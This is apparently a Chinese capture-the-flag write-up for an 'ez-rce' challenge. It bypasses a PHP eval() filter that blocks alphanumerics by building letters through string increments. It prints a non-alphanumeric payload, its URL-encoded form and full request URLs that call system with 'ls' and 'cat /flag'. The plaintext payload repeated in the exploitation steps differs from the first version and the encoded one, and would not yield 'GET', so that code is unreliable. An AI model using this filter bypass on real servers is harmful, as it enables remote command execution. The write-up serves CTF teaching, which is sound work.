ez-rce

题目信息

  • 题目名称: ez-rce
  • 提示: 303跳转 你需要用bp抓包 参考RCE里的无字母数字

信息收集

通过抓包分析,在响应头中发现隐藏路径:

<!-- /s3cret/rce.php -->

访问该路径得到题目源码。

源码分析

<?php highlight_file(__FILE__); if (isset($_GET['shell'])) { $code = $_GET['shell']; if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){ eval($code); } else{ die('hacker!!你想幹嘛!!!'); } }

代码功能分析:

  • 接收shell参数并执行eval()
  • 正则表达式过滤了所有字母数字和大部分特殊字符
  • 只允许部分字符通过,包括[]._;()+$

漏洞分析

  1. 过滤绕过原理

由于过滤了所有字母和数字,需要利用 PHP 的变量自增特性来构造可执行的代码。

PHP 变量自增原理:

$a = []._; // $a 为 "Array_" echo $a[0]; // 会输出:A $b = $a[0]; echo ++$b; // 会输出:B

因为数字也被过滤,变量名可以用下划线替代,数组索引也可以用下划线替代:

$_ = []._; echo $_[_]; // 输出:A
  1. 构造 Payload

目标构造:$_GET[_]($_GET[__])

通过变量自增逐步构造:

  1. $_=[]._得到 “Array_”
  2. $_=$_[_]得到 “A”
  3. 通过$_++自增得到 “B”、”C”、”D”、”E”
  4. 继续自增构造其他字母
  5. 最终拼接出 “_GET” 字符串

完整 payload:

$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
  1. URL 编码

由于中间件会解码一次,所以需要对 payload 进行 URL 全编码:

%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B

利用步骤

  1. 构造 Payload

使用变量自增构造出$_GET[_]($_GET[__])的等效代码:

$_=[]._;$_=$_[_];$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
  1. URL 全编码

对 payload 进行 URL 全编码,确保中间件解码后仍能正常执行:

%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B
  1. 执行命令

构造完整的 URL,通过shell参数传递 payload,并使用___参数传递要执行的函数和参数:

?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=ls
  1. 获取 Flag

__参数替换为读取 flag 的命令:

?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=cat%20/flag

原理详解

  1. PHP 变量自增机制

PHP 中字符串可以像数组一样访问索引,当对字符串进行自增操作时,PHP 会按照字母表顺序递增:

$a = "A"; $a++; // "B" $a++; // "C"
  1. 数组字符串化

当数组与字符串连接时,数组会被转换为字符串 “Array”:

$a = []; echo $a . "_"; // 输出 "Array_"
  1. 字符串索引访问

可以通过索引访问字符串中的字符:

$str = "Array_"; echo $str[0]; // 输出 "A"
  1. 下划线作为索引

由于数字被过滤,可以使用下划线作为数组索引,PHP 会将下划线转换为 0:

$_ = "Array_"; echo $_[_]; // 等同于 $_[0],输出 "A"

总结

本题利用了 PHP 的变量自增特性和字符串操作机制,在过滤所有字母数字的情况下,通过构造特殊字符的 payload 实现了代码执行。关键在于理解 PHP 中数组字符串化、字符串索引访问以及变量自增的工作原理,并通过 URL 全编码绕过中间件的解码机制。

关键点

  1. 通过抓包发现隐藏路径/s3cret/rce.php
  2. 利用 PHP 数组字符串化特性获取 “Array” 字符串
  3. 通过变量自增构造字母
  4. 使用下划线替代数字作为数组索引
  5. 拼接构造出_GET字符串
  6. 通过 URL 全编码绕过中间件解码
  7. 最终实现动态函数调用$_GET[_]($_GET[__])